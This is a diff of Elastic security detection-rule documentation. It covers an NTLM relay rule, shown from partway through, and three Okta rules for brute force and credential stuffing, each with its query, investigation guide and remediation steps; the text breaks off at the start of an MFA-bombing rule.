Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential NTLM Relay Attack against a Computer Account* + + + +*Possible investigation steps* + + +- What source events make up the sequence, and do they support a coercion-to-NTLM path? + - Focus: open Timeline from the sequence alert and recover member events for the alert `host.id` or `host.name` plus `source.ip`; compare source-event `winlog.computer_name`, 5145 `file.name`, `winlog.event_data.TargetUserName`, `winlog.event_data.AuthenticationPackageName`, and `winlog.logon.type`. + - Hint: use the recovered 5145 Windows Security source event as the primary pipe evidence. If endpoint file telemetry is available for this host and time window, recover the matching `file.*` evidence before using it for interpretation or remediation. + - Implication: escalate when a coercion-style pipe such as Spoolss, netdfs, efsrpc, FssagentRpc, lsarpc, netlogon, samr, srvsvc, winreg, dnsserver, or WinsPipe is followed within seconds by a type 3 NTLM machine-account logon from the same source; lower concern when the recovered pair matches a recurring proxy, cluster, backup, or management path with the same pipe and auth pattern; close as a non-hit only when source events break the sequence or do not share the same source and target. + +- Did the authentication stage succeed, fail, or show weak NTLM handling? + - Focus: auth-stage `event.code`, `winlog.event_data.Status`, `winlog.event_data.SubStatus`, `winlog.event_data.LmPackageName`, and `winlog.event_data.AuthenticationPackageName`. + - Implication: urgent escalation is warranted for a 4624 success, success-after-failure pattern, or NTLMv1/weak `winlog.event_data.LmPackageName`; failure-only 4625 activity still supports attempted coercion when the recovered pipe event and source path hold. + +- Does the authenticated machine account belong to the target server? + - Focus: auth-stage `winlog.event_data.TargetUserName` and `winlog.event_data.TargetDomainName` compared with `winlog.computer_name`, `host.name`, and `host.id`. + - Implication: target-name alignment plus a dollar-suffixed machine account supports relayed or reflected computer-account use; a different host, alias, or cluster identity is an identity mismatch to resolve before disposition, not a benign conclusion by itself. + +- Does the source fit a recognized SMB/RPC infrastructure path for this server? + - Focus: surrounding Windows Security events for the same target, source, and machine account, checking `winlog.event_data.TargetUserName`, `winlog.event_data.AuthenticationPackageName`, `winlog.event_data.LmPackageName`, `winlog.event_data.Status`, and `winlog.event_data.SubStatus`. + - Hint: use same-source NTLM authentication events to review repeated machine-account logons, success-after-failure patterns, and weak `LmPackageName` values around the alert. !{investigate{"description":"","label":"NTLM authentication events from this source to this target","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"winlog.event_data.AuthenticationPackageName","queryType":"phrase","value":"NTLM","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4625","valueType":"string"},{"excluded":false,"field":"winlog.event_data.AuthenticationPackageName","queryType":"phrase","value":"NTLM","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the source is rare for this server, targets multiple machine accounts, or drives burst failures followed by success; lower concern only when the same source/server/account/auth pattern recurs as a recognized proxy, load-balancer, cluster, backup, or management path. Missing Windows Security history leaves source fit unresolved, not benign. + +- Did the same source perform follow-on Windows Security activity after the relay pair? + - Focus: post-sequence Windows Security events on the same target and source, especially `event.code` 5145, 4624, or 4625 plus `winlog.event_data.TargetUserName`, `winlog.event_data.Status`, and `winlog.event_data.SubStatus`. + - Hint: review same-source follow-on Windows Security events for repeated share or pipe access and repeated machine-account logons after the sequence. !{investigate{"description":"","label":"Follow-on Windows Security events from this source to this target","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5145","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4625","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the source keeps accessing shares or pipes or repeats machine-account logons after the relay window; absence of follow-on Windows Security events reduces observed scope but does not prove benign execution did not occur. + +- If local evidence is suspicious or unresolved, does related alert scope change urgency? + - Focus: related source-IP alerts for `source.ip`, especially other coercion, machine-account NTLM, service creation, or remote-execution signals. !{investigate{"description":"","label":"Alerts associated with this source IP","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if source scope remains unclear, check related target-server alerts for the alert `host.id`. !{investigate{"description":"","label":"Alerts associated with this target server","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when the same source or target shows related relay or execution alerts; keep the case locally scoped when related alerts add no new source, target, or follow-on evidence. + +- Based on sequence integrity, auth result, identity, source fit, follow-through, and scope, what disposition is supported? + - Focus: recovered source events, machine-account identity, NTLM handling, recognized infrastructure fit, follow-on Windows Security events, and related-alert scope. + - Implication: escalate when the recovered sequence holds and the source is unrecognized, successful, weakly protected, or followed by further access; close only when recovered evidence and supported context bind one exact workflow on this host, with outside confirmation when telemetry cannot prove legitimacy; preserve evidence and escalate when results are mixed or visibility is limited. + + +*False positive analysis* + + +- Clustered file services, SMB/RPC proxies, backup controllers, or management tiers can legitimately front machine-account NTLM traffic through bounded SMB/RPC paths. Confirm by verifying the same `source.ip`, `winlog.computer_name`, `winlog.event_data.TargetUserName`, `winlog.event_data.AuthenticationPackageName`, `winlog.event_data.LmPackageName`, status pattern, 5145 named-pipe/share object, and lack of suspicious follow-on `event.code` activity all converge on the same workflow. If workflow records are unavailable, require historical recurrence of that exact telemetry pattern before closing. +- Before creating an exception, validate recurrence across prior alerts from this rule for the same `source.ip`, `winlog.computer_name`, machine account, NTLM package/version, and 5145 object family. Build the exception from the minimum confirmed workflow pattern; avoid exceptions on source IP alone, target server alone, or dollar-suffixed machine-account names alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the exact `source.ip`, `winlog.computer_name`, `winlog.event_data.TargetUserName`, `winlog.event_data.AuthenticationPackageName`, `winlog.event_data.LmPackageName`, `winlog.event_data.Status` or `winlog.event_data.SubStatus`, and 5145 object pattern that proved the workflow. Create a narrow exception only after recurrence proves the same telemetry pattern. +- If suspicious but unconfirmed, preserve the alert document, Timeline member events, recovered 5145 object, authentication result, NTLM package/version, source and target identifiers, status values, and any follow-on Windows Security records before containment. Use reversible containment first, such as temporarily blocking the recovered source from SMB/RPC access to the affected server or isolating the unexpected source host when its role tolerates isolation. +- If confirmed malicious, keep the preserved evidence set attached to the case, then isolate or block the source host and restrict its SMB/RPC access to the affected `winlog.computer_name`. Eradicate only confirmed follow-on services, tasks, shares, or relay tooling identified during investigation; coordinate disruptive actions on domain controllers, cluster nodes, and production servers with identity and infrastructure owners. +- Rotate the affected computer-account secret only after evidence preservation and service-impact review, then review delegated or administrative credentials that could have been exposed or reused through the relayed session. Reduce NTLM exposure, enforce SMB signing and Extended Protection for Authentication where applicable, and disable unneeded coercion-prone RPC services on the affected tier. +- After containment, audit other servers reached from the same `source.ip` and retain the Windows Security telemetry needed to reconstruct the 5145-to-4624/4625 sequence. Document any reflection-style or marshaled-target variant indicators for future case comparison. + + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-logon[Audit Logon] +- https://ela.st/audit-detailed-file-share[Audit Detailed File Share] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name, source.ip with maxspan=5s + +/* Filter for an event that indicates coercion against known abused named pipes using an account that is not the host */ +[file where host.os.type == "windows" and event.code : "5145" and + not startswith~(winlog.computer_name, substring(user.name, 0, -1)) and + file.name : ( + "Spoolss", "netdfs", "lsarpc", "lsass", "netlogon", "samr", "efsrpc", "FssagentRpc", + "eventlog", "winreg", "srvsvc", "dnsserver", "dhcpserver", "WinsPipe" + )] + +/* Detects a logon attempt using the NTLM protocol resulting from the coercion coming from the same IP address */ +[authentication where host.os.type == "windows" and event.code in ("4624", "4625") and + endswith~(user.name, "$") and winlog.logon.type : "network" and + winlog.event_data.AuthenticationPackageName : "NTLM" and + + /* Filter for a machine account that matches the hostname */ + startswith~(winlog.computer_name, substring(user.name, 0, -1)) and + + /* Verify if the Source IP belongs to the host */ + not endswith(string(source.ip), string(host.ip)) and + source.ip != null and source.ip != "::1" and source.ip != "127.0.0.1"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-brute-force-device-token-rotation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-brute-force-device-token-rotation.asciidoc new file mode 100644 index 0000000000..883d0c4a5a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-brute-force-device-token-rotation.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-potential-okta-brute-force-device-token-rotation]] +=== Potential Okta Brute Force (Device Token Rotation) + +Detects potential brute force attacks against a single Okta user account where excessive unique device token hashes are generated, indicating automated tooling that fails to persist browser cookies between attempts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Okta + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta Brute Force (Device Token Rotation)* + + +This rule identifies excessive unique device token hashes generated for a single user account, indicating automated brute force tooling that fails to persist browser cookies between authentication attempts. + + +*Possible investigation steps* + +- Identify the targeted user account and determine if it has elevated privileges or sensitive access. +- Review the source IP and check if it belongs to known proxy, VPN, or cloud infrastructure. +- Examine user agent strings for signs of automation, scripting tools, or inconsistent browser fingerprints. +- Check if Okta flagged the source as a known threat or proxy. +- Determine if any authentication attempts succeeded following the failed attempts. +- Review the user's recent activity for signs of account compromise. + + +*False positive analysis* + +- Users experiencing login issues may generate multiple device tokens through repeated legitimate attempts. +- Automated testing or monitoring tools that do not persist cookies may trigger this rule. +- Browser extensions or privacy tools that clear cookies between requests may cause device token rotation. + + +*Response and remediation* + +- If attack is confirmed, reset the user's password immediately. +- Block the source IP at the network perimeter. +- Review and potentially reset MFA for the targeted account. +- Monitor for any successful authentication that may indicate compromise. +- Contact the user to verify if they experienced legitimate login issues. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* METADATA _id, _version, _index +| WHERE + data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.reason IN ("INVALID_CREDENTIALS", "LOCKED_OUT") + AND okta.actor.alternate_id IS NOT NULL + // Primary authn endpoint; sessions API provides additional coverage + AND ( + okta.debug_context.debug_data.request_uri == "/api/v1/authn" + OR okta.debug_context.debug_data.request_uri LIKE "/api/v1/sessions*" + ) +// Track whether each event has a device token +| EVAL has_dt_hash = CASE(okta.debug_context.debug_data.dt_hash IS NOT NULL, 1, 0) +// Aggregate by IP + user to detect single-user brute force +| STATS + Esql.unique_dt_hashes = COUNT_DISTINCT(okta.debug_context.debug_data.dt_hash), + Esql.total_attempts = COUNT(*), + Esql.attempts_with_dt = SUM(has_dt_hash), + Esql.unique_user_agents = COUNT_DISTINCT(okta.client.user_agent.raw_user_agent), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.dt_hash_values = VALUES(okta.debug_context.debug_data.dt_hash), + Esql.event_action_values = VALUES(event.action), + Esql.user_agent_values = VALUES(okta.client.user_agent.raw_user_agent), + Esql.device_values = VALUES(okta.client.device), + Esql.is_proxy_values = VALUES(okta.security_context.is_proxy), + Esql.geo_country_values = VALUES(client.geo.country_name), + Esql.geo_city_values = VALUES(client.geo.city_name), + Esql.source_asn_values = VALUES(source.as.number), + Esql.source_asn_org_values = VALUES(source.as.organization.name), + Esql.threat_suspected_values = VALUES(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level_values = VALUES(okta.debug_context.debug_data.risk_level), + Esql.risk_reasons_values = VALUES(okta.debug_context.debug_data.risk_reasons) + BY okta.client.ip, okta.actor.alternate_id +// Calculate automation detection metrics (float-safe division) +| EVAL Esql.dt_coverage = Esql.attempts_with_dt * 1.0 / Esql.total_attempts, + Esql.dt_per_attempt = Esql.unique_dt_hashes * 1.0 / Esql.total_attempts +// Detection branches: +// A) Many unique DT hashes relative to attempts = tooling generating new tokens per attempt +// B) High attempts + very low DT coverage = cookie-less automation (no DT sent at all) +// C) Multiple user agents for same user = evasion or automation +| WHERE + (Esql.unique_dt_hashes >= 7 AND Esql.total_attempts >= 10 AND Esql.dt_per_attempt >= 0.5) + OR (Esql.total_attempts >= 12 AND Esql.dt_coverage < 0.15) + OR (Esql.total_attempts >= 10 AND Esql.unique_user_agents >= 5) +| SORT Esql.total_attempts DESC +| KEEP Esql.*, okta.client.ip, okta.actor.alternate_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-brute-force-multi-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-brute-force-multi-source.asciidoc new file mode 100644 index 0000000000..a365d36533 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-brute-force-multi-source.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-potential-okta-brute-force-multi-source]] +=== Potential Okta Brute Force (Multi-Source) + +Detects potential brute force attacks against a single Okta user account from multiple source IPs, indicating attackers rotating through proxy infrastructure to evade IP-based detection. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Okta + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta Brute Force (Multi-Source)* + + +This rule identifies a single user account receiving failed authentication attempts from multiple unique source IPs. This pattern indicates attackers rotating through proxy infrastructure to evade IP-based detection while targeting a specific account. + + +*Possible investigation steps* + +- Identify the targeted user account and determine if it has elevated privileges or sensitive access. +- Review the geographic distribution of source IPs for anomalies such as multiple countries or unusual locations. +- Examine the ASN ownership of source IPs for signs of proxy, VPN, or cloud infrastructure. +- Check if Okta flagged any of the sources as known threats or proxies. +- Determine if any authentication attempts succeeded following the failed attempts. +- Review the user's recent activity for signs of account compromise. + + +*False positive analysis* + +- Users traveling internationally with mobile devices may generate failed attempts from multiple locations. +- Service accounts accessed from distributed legitimate infrastructure may trigger this rule. +- Corporate VPN exit nodes spread across regions could appear as multiple IPs for a single user. + + +*Response and remediation* + +- If attack is confirmed, reset the user's password immediately. +- Review and potentially reset MFA for the targeted account. +- Block attacking IP addresses at the network perimeter. +- Consider implementing geo-restrictions for the targeted account if dispersed access is not expected. +- Monitor for any successful authentication that may indicate compromise. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* METADATA _id, _version, _index +| WHERE data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.reason IN ("INVALID_CREDENTIALS", "LOCKED_OUT") + AND okta.actor.alternate_id IS NOT NULL + +// Create source mapping for analyst context +| EVAL Esql.source_info = CONCAT( + "{\"ip\":\"", COALESCE(okta.client.ip::STRING, "unknown"), + "\",\"country\":\"", COALESCE(client.geo.country_name, "unknown"), + "\",\"asn\":\"", COALESCE(source.as.organization.name, "unknown"), + "\",\"user_agent\":\"", COALESCE(okta.client.user_agent.raw_user_agent, "unknown"), "\"}" + ) + +| STATS + Esql.unique_source_ips = COUNT_DISTINCT(okta.client.ip), + Esql.total_attempts = COUNT(*), + Esql.unique_user_agents = COUNT_DISTINCT(okta.client.user_agent.raw_user_agent), + Esql.unique_dt_hashes = COUNT_DISTINCT(okta.debug_context.debug_data.dt_hash), + Esql.unique_asns = COUNT_DISTINCT(source.as.number), + Esql.unique_countries = COUNT_DISTINCT(client.geo.country_name), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.source_ip_values = VALUES(okta.client.ip), + Esql.source_mapping = VALUES(Esql.source_info), + Esql.event_action_values = VALUES(event.action), + Esql.user_agent_values = VALUES(okta.client.user_agent.raw_user_agent), + Esql.device_values = VALUES(okta.client.device), + Esql.is_proxy_values = VALUES(okta.security_context.is_proxy), + Esql.geo_country_values = VALUES(client.geo.country_name), + Esql.geo_city_values = VALUES(client.geo.city_name), + Esql.source_asn_values = VALUES(source.as.number), + Esql.source_asn_org_values = VALUES(source.as.organization.name), + Esql.threat_suspected_values = VALUES(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level_values = VALUES(okta.debug_context.debug_data.risk_level), + Esql.risk_reasons_values = VALUES(okta.debug_context.debug_data.risk_reasons) + BY okta.actor.alternate_id + +| EVAL + Esql.attempts_per_ip = Esql.total_attempts * 1.0 / Esql.unique_source_ips, + Esql.duration_seconds = DATE_DIFF("seconds", Esql.first_seen, Esql.last_seen) + +| WHERE + Esql.unique_source_ips >= 5 + AND Esql.total_attempts >= 10 + AND ( + Esql.unique_countries >= 2 OR + Esql.unique_asns >= 3 OR + Esql.unique_source_ips >= 8 OR + Esql.unique_user_agents >= 3 + ) + +| SORT Esql.unique_source_ips DESC +| KEEP Esql.*, okta.actor.alternate_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-credential-stuffing-single-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-credential-stuffing-single-source.asciidoc new file mode 100644 index 0000000000..010674d8b7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-credential-stuffing-single-source.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-potential-okta-credential-stuffing-single-source]] +=== Potential Okta Credential Stuffing (Single Source) + +Detects potential credential stuffing attacks where a single source IP attempts authentication against many Okta user accounts with minimal attempts per user, indicating the use of breached credential lists. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Okta + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta Credential Stuffing (Single Source)* + + +This rule identifies a single source IP attempting authentication against many user accounts with minimal attempts per user. This pattern indicates credential stuffing where attackers rapidly test breached username and password pairs. + + +*Possible investigation steps* + +- Identify the source IP and determine if it belongs to known proxy, VPN, or cloud infrastructure. +- Review the list of targeted user accounts and check if any authentications succeeded. +- Examine the user agent strings for signs of automation or scripting tools. +- Check if Okta flagged the source as a known threat or proxy. +- Determine if any targeted accounts have elevated privileges or access to sensitive systems. +- Review the geographic location and ASN of the source IP for anomalies. + + +*False positive analysis* + +- Corporate proxies or VPN exit nodes may aggregate traffic from multiple legitimate users. +- Shared systems such as kiosks or conference room computers may have multiple users authenticating. +- Legitimate SSO integrations may generate multiple authentication attempts from a single source. + + +*Response and remediation* + +- If attack is confirmed, block the source IP at the network perimeter. +- Reset passwords for any accounts that may have been compromised. +- Enable or strengthen MFA for targeted accounts. +- Review Okta sign-on policies to add additional friction for suspicious authentication patterns. +- If this is a known legitimate source, consider adding an exception for the IP or ASN. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* METADATA _id, _version, _index +| WHERE + data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.reason IN ("INVALID_CREDENTIALS", "LOCKED_OUT") + AND okta.actor.alternate_id IS NOT NULL +// Build user-source context as JSON for enrichment +| EVAL Esql.user_source_info = CONCAT( + "{\"user\":\"", okta.actor.alternate_id, + "\",\"ip\":\"", COALESCE(okta.client.ip::STRING, "unknown"), + "\",\"user_agent\":\"", COALESCE(okta.client.user_agent.raw_user_agent, "unknown"), "\"}" + ) +// FIRST STATS: Aggregate by (IP, user) to get per-user attempt counts +// This prevents skew from outlier users with many attempts +| STATS + Esql.user_attempts = COUNT(*), + Esql.user_dt_hashes = COUNT_DISTINCT(okta.debug_context.debug_data.dt_hash), + Esql.user_source_info = VALUES(Esql.user_source_info), + Esql.user_agents_per_user = VALUES(okta.client.user_agent.raw_user_agent), + Esql.devices_per_user = VALUES(okta.client.device), + Esql.is_proxy = VALUES(okta.security_context.is_proxy), + Esql.geo_country = VALUES(client.geo.country_name), + Esql.geo_city = VALUES(client.geo.city_name), + Esql.asn_number = VALUES(source.as.number), + Esql.asn_org = VALUES(source.as.organization.name), + Esql.threat_suspected = VALUES(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level = VALUES(okta.debug_context.debug_data.risk_level), + Esql.risk_reasons = VALUES(okta.debug_context.debug_data.risk_reasons), + Esql.event_actions = VALUES(event.action), + Esql.first_seen_user = MIN(@timestamp), + Esql.last_seen_user = MAX(@timestamp) + BY okta.client.ip, okta.actor.alternate_id +// SECOND STATS: Aggregate by IP to detect credential stuffing pattern +// Now we can accurately measure the distribution of attempts across users +| STATS + Esql.unique_users = COUNT(*), + Esql.total_attempts = SUM(Esql.user_attempts), + Esql.max_attempts_per_user = MAX(Esql.user_attempts), + Esql.min_attempts_per_user = MIN(Esql.user_attempts), + Esql.avg_attempts_per_user = AVG(Esql.user_attempts), + Esql.users_with_single_attempt = SUM(CASE(Esql.user_attempts == 1, 1, 0)), + Esql.users_with_few_attempts = SUM(CASE(Esql.user_attempts <= 2, 1, 0)), + Esql.first_seen = MIN(Esql.first_seen_user), + Esql.last_seen = MAX(Esql.last_seen_user), + Esql.target_users = VALUES(okta.actor.alternate_id), + Esql.user_source_mapping = VALUES(Esql.user_source_info), + Esql.event_action_values = VALUES(Esql.event_actions), + Esql.user_agent_values = VALUES(Esql.user_agents_per_user), + Esql.device_values = VALUES(Esql.devices_per_user), + Esql.is_proxy_values = VALUES(Esql.is_proxy), + Esql.geo_country_values = VALUES(Esql.geo_country), + Esql.geo_city_values = VALUES(Esql.geo_city), + Esql.source_asn_values = VALUES(Esql.asn_number), + Esql.source_asn_org_values = VALUES(Esql.asn_org), + Esql.threat_suspected_values = VALUES(Esql.threat_suspected), + Esql.risk_level_values = VALUES(Esql.risk_level), + Esql.risk_reasons_values = VALUES(Esql.risk_reasons) + BY okta.client.ip +// Calculate stuffing signature: most users should have very few attempts +| EVAL Esql.pct_users_few_attempts = Esql.users_with_few_attempts * 100.0 / Esql.unique_users +// Credential stuffing: many users, most with 1-2 attempts each, low max per user +// Stacked stats gives us accurate per-user distribution instead of skewed averages +| WHERE + Esql.total_attempts >= 25 + AND Esql.unique_users >= 15 + AND Esql.max_attempts_per_user <= 2 + AND Esql.pct_users_few_attempts >= 80.0 +| SORT Esql.unique_users DESC +| KEEP Esql.*, okta.client.ip + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-mfa-bombing-via-push-notifications.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-mfa-bombing-via-push-notifications.asciidoc new file mode 100644 index 0000000000..9daa673b15 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-mfa-bombing-via-push-notifications.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-potential-okta-mfa-bombing-via-push-notifications]] +=== Potential Okta MFA Bombing via Push Notifications + +Detects when an attacker abuses the 